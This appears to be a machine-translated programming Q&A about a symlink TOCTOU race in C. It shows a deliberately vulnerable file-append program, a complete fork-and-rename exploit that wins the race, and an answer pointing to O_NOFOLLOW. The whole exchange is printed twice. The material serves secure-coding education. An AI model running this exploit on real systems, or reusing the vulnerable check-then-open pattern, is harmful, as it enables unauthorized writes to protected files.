安全编程。检查文件然后写入文件时如何避免TOCTOU漏洞
Safe programming. How to avoid TOCTOU vulnerability when checking a file and then writing in it
我有以下代码vuln.c
。这会将所需的输入附加到非 link 文件。
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int process_filename(char *filename)
{
struct stat aux_stat;
char buffer[1024];
printf("Input to be appended: ");
fgets(buffer, sizeof(buffer), stdin);
if ((lstat(filename, &aux_stat) == 0) && !S_ISLNK(aux_stat.st_mode))
{
printf("[+] Opening file %s...\n", filename);
int fd = open(filename, O_RDWR | O_APPEND), nb;
nb = write(fd, buffer, strlen(buffer));
printf("[+] Done! %d bytes written to %s\n", nb, filename);
return 0;
} else
printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);
return 1;
}
int main(int argc, char * argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: %s filename\n", argv[0]);
exit(1);
}
return process_filename(argv[1]);
}
但是存在TOCTOU漏洞(Time-of-check Time-of-use)。有一个检查步骤,检查文件不是符号 link。后来,有一个时间window 与printf 调用,终于使用资源:打开文件。在 window 时间,攻击者可以修改资源,并将输入附加到 link 文件,这可能是不允许的。通过下面的代码,我们就可以利用这个漏洞,可以写成link.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
int main(int argc, char* argv[])
{
if (argc != 2) {
printf("Number of parameters missmatch\n");
return -1;
}
char *tmp_name = "_tmp"; // Name of the temp file
char *nombre_link = argv[1]; // Link where it's wanted to write
char *newenviron[] = { NULL };
char *newargv[] = {"vuln", tmp_name, NULL}; // Args
int pipe_fds[2]; // Pipe's array
int filesize;
struct stat st;
// Link's initial size to check changes
stat(nombre_link, &st);
filesize = st.st_size;
// Loop until it's written in the link
while (st.st_size == filesize) {
pipe(pipe_fds);
// Creates a normal "fake" file to pass the vulnerable code check
fclose(fopen(tmp_name, "w"));
int pid = fork();
if (pid == -1) {
printf("Error");
} else if (pid == 0) {
// Child
close(pipe_fds[1]);
dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
execve("vuln", newargv, newenviron); // Executes vulnerable binary
exit(3); // Only if execve fails
} else {
// Parent
close(pipe_fds[0]);
write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
remove(tmp_name); // Removes the fake file
rename(nombre_link, tmp_name); // Renames link to the same name
wait(0); // Waits for execution of the vulnerable binary
close(pipe_fds[1]);
rename(tmp_name, nombre_link); // Returns name's link to its origin name
stat(nombre_link, &st); // Get link's stats to check if it has been written
}
}
printf("Managed!\n");
return 0;
}
我如何安全地编写初始 vuln.c
代码以避免此 TOCTOU 漏洞?我尝试先打开一次资源,然后检查它不是 link 和 fstat
(等待 fd)而不是 lstat
(等待易受攻击的资源,文件的名称)。但是,打开它时,打开的是 link 编辑的文件 link,而不是 link。至此,检查步骤通过。我也尝试过使用 O_NOFOLLOW 标志,但它也不起作用。
在 POSIX 2008 年,open()
有一个您可以使用的选项:
O_NOFOLLOW
—
If path names a symbolic link, fail and set errno
to [ELOOP].
这会在 open()
通话中为您提供所需的保护;无需事先检查。
我有以下代码vuln.c
。这会将所需的输入附加到非 link 文件。
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int process_filename(char *filename)
{
struct stat aux_stat;
char buffer[1024];
printf("Input to be appended: ");
fgets(buffer, sizeof(buffer), stdin);
if ((lstat(filename, &aux_stat) == 0) && !S_ISLNK(aux_stat.st_mode))
{
printf("[+] Opening file %s...\n", filename);
int fd = open(filename, O_RDWR | O_APPEND), nb;
nb = write(fd, buffer, strlen(buffer));
printf("[+] Done! %d bytes written to %s\n", nb, filename);
return 0;
} else
printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);
return 1;
}
int main(int argc, char * argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: %s filename\n", argv[0]);
exit(1);
}
return process_filename(argv[1]);
}
但是存在TOCTOU漏洞(Time-of-check Time-of-use)。有一个检查步骤,检查文件不是符号 link。后来,有一个时间window 与printf 调用,终于使用资源:打开文件。在 window 时间,攻击者可以修改资源,并将输入附加到 link 文件,这可能是不允许的。通过下面的代码,我们就可以利用这个漏洞,可以写成link.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
int main(int argc, char* argv[])
{
if (argc != 2) {
printf("Number of parameters missmatch\n");
return -1;
}
char *tmp_name = "_tmp"; // Name of the temp file
char *nombre_link = argv[1]; // Link where it's wanted to write
char *newenviron[] = { NULL };
char *newargv[] = {"vuln", tmp_name, NULL}; // Args
int pipe_fds[2]; // Pipe's array
int filesize;
struct stat st;
// Link's initial size to check changes
stat(nombre_link, &st);
filesize = st.st_size;
// Loop until it's written in the link
while (st.st_size == filesize) {
pipe(pipe_fds);
// Creates a normal "fake" file to pass the vulnerable code check
fclose(fopen(tmp_name, "w"));
int pid = fork();
if (pid == -1) {
printf("Error");
} else if (pid == 0) {
// Child
close(pipe_fds[1]);
dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
execve("vuln", newargv, newenviron); // Executes vulnerable binary
exit(3); // Only if execve fails
} else {
// Parent
close(pipe_fds[0]);
write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
remove(tmp_name); // Removes the fake file
rename(nombre_link, tmp_name); // Renames link to the same name
wait(0); // Waits for execution of the vulnerable binary
close(pipe_fds[1]);
rename(tmp_name, nombre_link); // Returns name's link to its origin name
stat(nombre_link, &st); // Get link's stats to check if it has been written
}
}
printf("Managed!\n");
return 0;
}
我如何安全地编写初始 vuln.c
代码以避免此 TOCTOU 漏洞?我尝试先打开一次资源,然后检查它不是 link 和 fstat
(等待 fd)而不是 lstat
(等待易受攻击的资源,文件的名称)。但是,打开它时,打开的是 link 编辑的文件 link,而不是 link。至此,检查步骤通过。我也尝试过使用 O_NOFOLLOW 标志,但它也不起作用。
在 POSIX 2008 年,open()
有一个您可以使用的选项:
O_NOFOLLOW
— If path names a symbolic link, fail and seterrno
to [ELOOP].
这会在 open()
通话中为您提供所需的保护;无需事先检查。